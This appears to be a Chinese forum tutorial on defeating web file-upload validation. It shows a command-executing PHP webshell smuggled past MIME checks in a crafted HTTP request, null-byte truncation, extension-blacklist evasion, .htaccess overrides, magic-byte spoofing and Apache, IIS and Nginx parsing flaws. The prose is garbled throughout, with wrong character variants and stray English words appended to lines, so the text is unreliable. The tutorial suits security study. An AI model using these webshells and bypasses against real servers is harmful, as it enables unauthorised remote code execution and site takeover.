文件上传
论坛里面讲文件上传的不少,可是里面讲的都不全面,我就借鉴各位前辈的结晶总结了一个相对全面的。
一般web 站点会有用户注册功能,而当用户登入以后大多数状况下都会存在相似头像上传、附件上传一类的功能,这些功能点每每存在上传验证方式不严格的安全缺陷,是在web 渗透中很是关键的突破口,只要通过仔细测试分析来绕过上传验证机制,每每会形成被攻击者直接上传web 后门,进而控制整个web 业务的控制权,复杂一点的状况是结合webserver 的解析漏洞来上传后门获取权限。
一个简单的图来讲明文件上传检测的流程:
一般一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器,web 服务器接收到请求后并赞成后,用户与 web 服务器将创建链接,并传输 data。
而通常一个文件上传过程当中的检测以下图红色标记部分:javascript
客户端检测绕过(javascript 检测)php
这类检测一般在上传页面里含有专门检测文件上传的javascript 代码,最多见的就是检测扩展名是否合法。
打开http 反向代理工具burp,先随便点击上传一个1.phphtml
点上传,burp 里也还没出现任何内容,便弹出了一个警告框,一看就知道是个客户端验证javascript,只须要把它禁掉或者经过burp 进行代理修改。java
burp行代理修改,先将文件扩展名改为jpgweb
而后上传 如今的文件名是1.jpg 经过shell
在burp 里将jpg 改为phpwindows
而后继续上传,最后能够看到1.php 成功上传。
服务端验证绕过(MIME 类型检测)数组
假如服务器端上的upload.php代码以下:
安全
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php
if
(
$_FILES
[
'userfile'
][
'type'
] !=
"image/gif"
) {
//检测Content-type
echo
"Sorry, we only allow uploading GIF images"
;
exit
;
}
$uploaddir
=
'uploads/'
;
$uploadfile
=
$uploaddir
.
basename
(
$_FILES
[
'userfile'
][
'name'
]);
if
(move_uploaded_file(
$_FILES
[
'userfile'
][
'tmp_name'
],
$uploadfile
)) {
echo
"File is valid, and was successfully uploaded.\n"
;
}
else
{
echo
"File uploading failed.\n"
;
}
?>
|
而后咱们能够将request包的Content-Type 修改
服务器
01
02
03
04
05
06
07
08
09
10
11
12
|
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name=
"userfile"
;filename=
"1.php"
Content-Type: image/gif (原为Content-Type: text/plain)
<?php system(
$_GET
[
'command'
]);?>
--xYzZY--
|
获得服务端的应答:
1
2
3
4
5
6
7
|
HTTP/1.1 200 OK
Date
: Thu, 31 May 2017 14:02:11 GMT
Server: Apache
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid,
and
was successfully uploaded.</pre>
|
咱们成功绕过了服务端MIME 类型检测,这种服务端检测http 包的Content-Type 均可以用这种相似的方法来绕过检测。
服务器检测绕过(目录路径检测)
通常就检测路径是否合法,但稍微特殊一点的都没有防护。好比比较新的fckeditor php <= 2.6.4 任意文件上传漏洞,地址:
http://user.qzone.qq.com/1299183598/main
郊果以下:
由于对目录路径的检测不够严谨而致使能够用0x00 截断进行攻击,能够看到图中,在最后将要进行写文件以前的变量状态:
sFilePath =C:/wamp/www/userfiles/image/fuck.php .gif/fvck.gif (.php 后面是0x00)
当右图执行move_uploaded_file($oFile['tmp_name'], $sFilePath) 这个函数时
1. 先将sFilePath写入到指定位置,可是底层操做应该是调用的相似于c 语言,遇到0x00会自动截断,因此真正写入的实际地址是C:/wamp/www/userfiles/image/fuck.php
2. 把本来fvck.gif里的内容(目前应该存在临时文件,相似于C:/Temp/phpf3at7b这样的文件)而后把C:/Temp/phpf3at7b 的内容写入到C:/wamp/www/userfiles/image/fuck.php 里,这样便得到了咱们所想要的webshell
问题出在了io.php 里的ServerMapFolder 函数
当POST 下面的URL 的时候
/
1
2
|
fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gifHTTP/1.0
CurrentFolder 这个变量的值会传到ServerMapFolder(
$resourceType
,
$folderPath
,
$sCommand
)中的形参
$folder
里,而
$folder
在这个函数中并没作任何检测,就被CombinePaths()了。
|
服务端检测绕过(文件扩展名检测)
对于扩展名检测不强的,时常还能够结合目录路径攻击,好比filename="test.asp/evil.jpg" 之类
**黑名单**
黑名单检测黑名单的安全性比白名单的安全性低不少,攻击手法天然也比白名单多,通常有个专门的blacklist 文件,里面会包含常见的危险脚本文件。
服务端经过获取上传文件的扩展名来匹配预先定义的非法扩展名数组,若是能成功匹配的话,认为上传文件不合法,返回报错信息,若是扩展名没有匹配到,则认为上传文件合法,进行文件保存操做。拿上传图片举例,服务端定义的黑名单:
1
|
$BlackList
=
array
(
"php"
,
"htaccess"
,
"asp"
,
"aspx"
);
|
根据黑名单列表能够看出服务器不容许上传攻击中经常使用的php、htaccess、asp、aspx等脚本文件,也就是说这些文件都会被服务端所拦截,不能上传成功。
文件名大小写绕过
用像AsP,pHp 之类的文件名绕过黑名单检测
名单列表绕过
用黑名单里没有的名单进行攻击,好比黑名单里没有asa 或cer 之类
特殊文件名绕过
好比发送的http 包里把文件名改为test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被容许的,因此须要在burp 之类里进行修改,而后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
0x00 截断绕过
给个简单的伪代码
1
2
3
4
5
|
name= getname(http request)
//假如这时候获取到的文件名是test.asp.jpg(asp 后面为0x00)
type=
gettype
(name)
//而在gettype()函数里处理方式是从后往前扫描扩展名,因此判断为jpg
if
(type == jpg)
SaveFileToPath(UploadPath.name,name)
//但在这里倒是以0x00 做为文件名截断
//最后以test.asp存入路径里
|
双扩展名解析绕过攻击 (1)- 基于web 服务的解析逻辑
好比在Apachemanual 中有这样一段描述:
“Files can havemore than one extension, and the order of the extensions is normallyirrelevant.For example, if the file welcome.html.fr maps onto content typetext/html and language Frenchthen the file welcome.fr.html will map onto exactlythe same information. If more than oneextension is given which maps onto thesame type of meta-information, then the one to the right will be used, exceptfor languages and content encodings. For example, if .gif maps to the MIME-typeimage/gif and .html maps to the MIME-type text/html, then the filewelcome.gif.html will be associated with the MIME-type text/html.”
若是上传一个文件名为help.asp.123 首先扩展名123 并无在扩展名blacklist 里,而后扩展名123 也没在Apache 可解析扩展名list 里,这个时候它会向前搜 寻下一个可解析扩展名,或搜寻到.php,最后会以php 执行。
htaccess 文件攻击
配合名单列表绕过,上传一个自定义的.htaccess,就能够轻松绕过各类检测
解析调用/漏洞绕过
这类漏洞直接配合上传一个代码注入过的非黑名单文件便可,再利用解析调用/漏洞
双扩展名解析绕过攻击(2) - 基于web服务的解析方式
若是在Apache的conf 里有这样一行配置 AddHandlerphp5-script .php 这时只要文件名里包含.php 即便文件名是test2.php.jpg 也会以php 来执行。
危险解析绕过攻击- 基于web 服务的解析方式
若是在Apache的conf 里有这样一行配置 AddTypeapplication/x-httpd-php .jpg 即便扩展名是jpg,同样能以php 方式执行。
**白名单检测**
服务端经过获取上传文件的扩展名来匹配预先定义的合法扩展名数组,若是未能成功匹配的话,认为上传文件不合法,返回报错信息,若是扩展名能成功匹配,则认为上传文件合法,进行文件保存操做。
拿上传图片举例,服务端定义的白名单:```$WhiteList=array("png","jpg","jpeg","gif");```只容许上传png、jpg、jpeg、gif文件,若是攻击者上传恶意脚本文件(例如php、asp文件)就会被服务端拦截,让攻击者没法攻击服务器。
相对来讲比黑名单安全一些,但也不见得就绝对安全了.
0x00 截断绕过
用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞
解析调用/漏洞绕过
这类漏洞直接配合上传一个代码注入过的白名单文件便可,再利用解析调用/漏洞
.htaccess文件攻击
不管是黑名单仍是白名单,直接点就是直接攻击.htaccess 文件(其实目前我只见过结合黑名单攻击的,在后面的攻击分类里,我会把它归到黑名单绕过攻击里。但网上是把这个单独分类出来的,可能别人有一些我不知道的方式和技巧吧,因此在这里我也暂时保留这个单独分类)
在PHP manual 中提到了下面一段话:
move_uploaded_filesection, there is a warning which states
‘Ifthe destination file already exists, it will be overwritten.’
若是PHP安全没配置好,就能够经过move_uploaded_file 函数把本身写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。
服务端检测绕过(文件内容检测)
若是文件内容检测设置得比较严格,那么上传攻击将变得很是困难,也能够说它是在代码层检测的最后一道关卡,若是它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。咱们这里主要以最多见的图像类型内容检测来举例:
主要是检测文件内容开始处的文件幻数,好比图片类型的文件幻数以下:
要绕过jpg 文件幻数检测就要在文件开头写上下图的值
要绕过gif 文件幻数检测就要在文件开头写上下图的值
要绕过png 文件幻数检测就要在文件开头写上下面的值
而后在文件幻数后面加上本身的一句话木马代码就好了
文件相关信息检测
图像文件相关信息检测经常使用的就是getimagesize()函数,只须要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息,有点像下面的结构:
1
2
3
4
|
GIF89a
(...some binary data
for
image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
|
文件加载检测
这个是最变态的检测了,通常是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,再变态点的甚至是进行二次渲染(后面会提到)。对渲染/加载测试的攻击方式是代码注入绕过;对二次渲染的攻击方式是攻击文件加载器自身。
先说下对渲染/加载测试攻击-代码注入绕过,能够用图像处理软件对一张图片进行代码注入。用winhex看数据能够分析出这类工具的原理是在不破坏文件自己的渲染状况下找一个空白区进行填充代码,通常会是图片的注释区。对于渲染测试基本上都能绕过,毕竟自己的文件结构是完整的.
但若是碰到变态的二次渲染,基本上就无法绕过了,估计就只能对文件加载器进行攻击了。
通常进行遇到二次渲染,想绕过,就目前我的经验还没想出方法,它至关因而把本来属于图像数据的部分抓了出来,再用本身的API 或函数进行从新渲染,在这个过程当中非图像数据的部分直接就被隔离开了。能想到的一个思路就是基于数据二义性,即让数据既是图像数据也包含一句话木马代码,就像shellcode 经过数据二义性绕过IDS 检测特殊字符同样的道理,但如今我还不知道怎么构造出这样的图像文件。
若是要对文件加载器进行攻击,常见的就是溢出攻击,上传本身的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode好比access/mdb 溢出,你们能够参考下http://lcx.cc/?FoxNews=1542.html
总之对文件完整性检测的绕过,一般就直接用个结构完整的文件进行代码注入便可不必再去测究竟是检查的幻数仍是文件头结构之类的了。
解析攻击
攻击角度来分是这样的:
直接解析(彻底没防护或有一点简单的防护)
好比咱们直接就能够上传一个扩展名是.php的文件,只须要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就好了。
配合解析(有必定程度的防护)
咱们能够理解为先代码注入到服务器上,上传一个带有一句话木马的图片或文件之类
让它待在某个位置,等待这一个解析的配合。(好比php 的文件包含解析,web 服务器的解析漏洞,.htaccess 解析等)
本地文件包含解析
主要是php 的本地文件包含(远程文件包含不属于上传攻击绕过范畴)
htaccess解析
就不用多说了,看看以前.htaccess 文件攻击的那个案例,用户本身定义如何去调用解析器解析文件就能够了。
web应用程序解析漏洞以及其原理
Apache 解析漏洞
解析: test.php.任意不属于黑名单且也不属于Apache解析白名单的名称
描述: 一个文件名为x1.x2.x3 的文件,Apache 会从x3 的位置往x1 的位置开始尝试解析,
若是x3 不属于Apache 能解析的扩展名,那么Apache会尝试去解析x2 的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止
IIS 解析漏洞
解析- test.asp/任意文件名|test.asp;任意文件名| 任意文件名/任意文件名.php
描述- IIS6.0 在解析asp 格式的时候有两个解析漏洞,一个是若是目录名包含".asp"字符串,那么这个目录下全部的文件都会按照asp 去解析,另外一个是只要文件名中含有".asp;"会优先按asp 来解析。
IIS7.0/7.5 是对php 解析时有一个相似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php 的方式去解析。
Nginx 解析漏洞
解析- 任意文件名/任意文件名.php | 任意文件名%00.php
描述- 目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,好比本来文件名是test.jpg,能够添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 能够在任意文件名后面添加%00.php 进行解析攻击。
总结:写的有点多,此次就先这样了,代码层,应用层等等漏洞出如今多个层面,总之安全学习之路还很长,很长..............